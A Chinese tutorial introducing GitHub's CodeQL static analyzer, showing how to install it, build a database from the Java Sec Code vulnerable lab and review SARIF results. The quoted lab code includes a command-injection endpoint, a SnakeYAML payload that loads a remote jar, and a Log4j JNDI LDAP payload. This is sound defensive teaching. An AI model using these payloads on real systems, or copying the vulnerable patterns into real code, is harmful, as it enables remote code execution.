CodeQL介绍
CodeQL是一款功能强大的静态代码分析工具,旨在帮助开发人员和安全研究人员自动查找代码错误、检查代码质量以及识别漏洞,并协助手动代码审查。目前支持的语言包括C/C++、C#、Go、Java、Kotlin、JavaScript、Python、Ruby、TypeScript和Swift。
它的前身是牛津大学衍生公司Semmle基于牛津大学团队十多年的研究成果推出的一个在线代码扫描平台LGTM.com,GitHub于2019年收购了Semmle公司,以利用该公司的CodeQL分析技术对自家数量庞大的代码库进行安全扫描,并于2020年底对外开放了CodeQL,但未开源。
CodeQL通过创建程序的结构化信息集合数据库,对代码进行语义分析,这意味着它不仅可以进行简单的模式匹配,还能够理解代码中的行为和关系。同时,CodeQL还提供一种表达式、声明式逻辑查询语言QL,可用于编写复杂的、自定义的代码查询,类似处理数据一样去处理代码,从而通过数据流和污点分析来发现代码库中特定类型的漏洞或安全风险。
环境准备
在使用CodeQL前,先下载安装CodeQL CLI命令行工具、CodeQL标准库以及Visual Studio Code CodeQL扩展,当然Visual Studio Code也是不可少的,因为后续的CodeQL查询是在Visual Studio Code中进行的。除此之外,还要准备一个带有丰富漏洞的靶场环境。如果系统是ARM架构的macOS,则还需要额外安装依赖。
额外依赖安装
对于ARM架构的macOS,需额外安装两个依赖,通过如下命令安装。虽然CodeQL目前支持ARM架构的macOS,但对于ARM架构的Linux和Windows系统,截止本文发布之时还未得到CodeQL的支持。
xcode-select --install && softwareupdate --install-rosetta
CodeQL CLI
CodeQL CLI是一个独立的命令行工具,其主要目的是生成代码库的数据库表示形式,即CodeQL数据库,当数据库生成后,就可通过交互式查询来查询它,或者运行一系列查询以生成一组SARIF格式的结果。
通过其GitHub Releases页(https://github.com/github/codeql-cli-binaries/releases )下载最新版本的压缩包,下载后将其解压。同时,在家目录下创建一个CodeQL文件夹,将刚才解压后的整个文件夹放置其中。
mkdir ~/CodeQL/ mv ~/Downloads/codeql ~/CodeQL
以及配置环境变量并重载。
echo '\n# CodeQL\nexport PATH="$HOME/CodeQL/codeql:$PATH"' >> ~/.zshrc source ~/.zshrc
现在,在系统任何地方都可以直接运行codeql命令,若出现如下结果就意味着CodeQL CLI配置成功。
codeql Usage: codeql <command> <argument>... Create and query CodeQL databases, or work with the QL language. GitHub makes this program freely available for the analysis of open-source software and certain other uses, but it is not itself free software. Type codeql --license to see the license terms. ......
在将来,建议保持codeql-cli-binaries为最新版本。
CodeQL查询库
GitHub中的codeql仓库(https://github.com/github/codeql )包含所有受支持语言的CodeQL分析所需的查询和库,可将其直接下载至本地文件夹以供使用。
不过,GitHub提供了一种在VS Code中更方便地使用查询库的方式。使用如下命令递归克隆vscode-codeql-starter仓库至本地~/CodeQL文件夹,这同时也会将codeql仓库克隆至ql文件夹中。
cd ~/CodeQL && git clone --recursive https://github.com/github/vscode-codeql-starter
进入vscode-codeql-starter中,可以看到ql文件夹包含各种语言的查询库。在将来,建议不定期地执行
git submodule update --remote命令以更新查询库。cd vscode-codeql-starter && ls ql BUILD.bazel MODULE.bazel config docs python CODEOWNERS README.md conftest.py go ql CODE_OF_CONDUCT.md WORKSPACE.bazel cpp java ruby CONTRIBUTING.md change-notes csharp javascript shared LICENSE codeql-workspace.yml defs.bzl misc swift
将vscode-codeql-starter克隆至本地后,每次都可以使用VS Code将其作为一个工作区打开。

未来自己编写的CodeQL查询,都可以存放在这些目录中。

在
vscode-codeql-starter/ql/java/ql/src/Security/CWE/文件夹中以.ql作为后缀名的就是GitHub官方维护的Java程序常见漏洞的CodeQL查询,可直接拿来使用。
更直观地,可在如下网站(https://codeql.github.com/codeql-query-help/java-cwe/ )看到受支持的全部CWE(通用弱点枚举)。

VS Code扩展
对于VS Code相关扩展的安装,可直接在VS Code的扩展中搜索CodeQL关键词或通过如下链接进行安装。

除CodeQL扩展外,建议再安装一个SARIF Viewer扩展,用于查看SARIF日志文件。SARIF全称静态分析结果交换格式,是一种定义输出文件格式的OASIS标准,SARIF标准用于简化静态分析工具分享其结果的方式。

漏洞靶场环境

对于漏洞靶场环境,本文将会采用Java Sec Code这一含有丰富漏洞类型的靶场环境,在~/CodeQL下创建vulns文件夹,将这个靶场克隆至其中。
cd ~/CodeQL && mkdir vulns && cd vulns git clone https://github.com/JoyChou93/java-sec-code/
数据库创建
CodeQL数据库是代码库的关系表示,其中包含不同源代码元素(如类和函数)的信息,在创建数据库的过程中会提取代码库中每一个源文件的单一关系表示,并将每个元素放入单独的数据表中。
对于编译型语言,提取是通过监控正常的编译过程来实现的,每次调用编译器处理源文件时,都会复制一份该文件,并收集源代码的所有相关信息,包括抽象语法树的语法数据,以及名称绑定和类型信息的语义数据。
由于Java是编译型语言,CodeQL需要调用所需的构建系统来生成数据库,因此构建方法须提供给CodeQL,也就是
-c接收的参数值mvn clean install。而对于解释型语言,如JavaScript、Python则无需添加该参数。最终通过如下命令来创建数据库。codeql database create ./jscdb -s ./java-sec-code -l java -c "mvn clean install -DskipTests"
相关参数的解释如下。
create:要创建的CodeQL数据库的路径。-s:源代码目录。-l:将用于分析的语言指定为Java。-c:对于编译型语言,构建命令将调用编译器对源代码进行分析。


如上图,出现Successfully created database就意味着数据库创建成功了,成功创建后的数据库中包含代码的完整分层表示,包括抽象语法树、数据流图和控制流图。查看数据库文件夹,可看到关系数据(分析所需的)和源代码压缩包(创建数据库时创建的源代码副本)都存在其中,将来会用于显示分析结果。
$ ls jscdb baseline-info.json codeql-database.yml db-java diagnostic log src.zip
数据库分析
利用CLI分析数据库
在数据库生成后,就可利用先前安装的CodeQL CLI工具来运行一系列查询,以生成一组SARIF格式或CSV格式的结果。
首先是SARIF格式,命令如下,等待分析完毕,便会在当前目录下生成jsc-scan-result.sarif文件。
codeql database analyze jscdb --format=sarif-latest --output=jsc-scan-result.sarif

接着,通过VS Code打开vscode-codeql-starter工作区,并在CodeQL插件中添加jscdb数据库文件夹。

然后,再用VS Code打开jsc-scan-result.sarif文件。如下图所见,此前安装的SARIF Viewer扩展起到作用了,这样分析SARIF文件就会变得很方便。

上图所展示的是一个命令注入漏洞示例,漏洞代码如下。
@GetMapping("/runtime/exec") public String CommandExec(String cmd) { Runtime run = Runtime.getRuntime(); StringBuilder sb = new StringBuilder(); try { Process p = run.exec(cmd); BufferedInputStream in = new BufferedInputStream(p.getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String tmpStr; while ((tmpStr = inBr.readLine()) != null) { sb.append(tmpStr); } if (p.waitFor() != 0) { if (p.exitValue() == 1) return "Command exec failed!!"; } inBr.close(); in.close(); } catch (Exception e) { return e.toString(); } return sb.toString(); }
继续往下看,可发现对于使用了SafeConstructor的这种安全写法,并未发生误报的情况。
/** * http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]] * yaml-payload.jar: https://github.com/artsploit/yaml-payload * * @param content payloads */ @GetMapping("/vuln/yarm") public void yarm(String content) { Yaml y = new Yaml(); y.load(content); } @GetMapping("/sec/yarm") public void secYarm(String content) { Yaml y = new Yaml(new SafeConstructor()); y.load(content); }

以上说完了SARIF格式,除SARIF格式外,还可将分析结果导出成CSV格式的文件,利用如下命令。
codeql database analyze jscdb --format=csv --output=jsc-scan-result.csv

在Excel中打开jsc-scan-result.csv文件,可看到如下结果,但这种方式就不如上面的那么直观。

在VS Code中查询分析
除了利用CLI工具对数据库进行分析外,还可在VS Code中执行CodeQL查询分析。例如如下,运行Log4J LDAP JNDI注入查询。
@RestController public class Log4j { private static final Logger logger = LogManager.getLogger("Log4j"); /** * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75} * Default: error/fatal/off * Fix: Update log4j to lastet version. */ @RequestMapping(value = "/log4j") public String log4j(String token) { logger.error(token); return token; } public static void main(String[] args) { String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}"; logger.error(poc); } }

不过,这种方式在数量上有限制,单次最多只可运行20个查询。
参考
- https://github.blog/2022-08-15-the-next-step-for-lgtm-com-github-code-scanning/
- https://github.blog/2023-03-31-codeql-zero-to-hero-part-1-the-fundamentals-of-static-analysis-for-vulnerability-research/
- https://github.blog/2023-06-15-codeql-zero-to-hero-part-2-getting-started-with-codeql/
- https://docs.github.com/en/code-security/codeql-cli
- https://codeql.github.com/docs/
- https://docs.bearer.com/explanations/workflow/#advanced-concepts
- https://www.youtube.com/watch?v=y_-pIbsr7jc
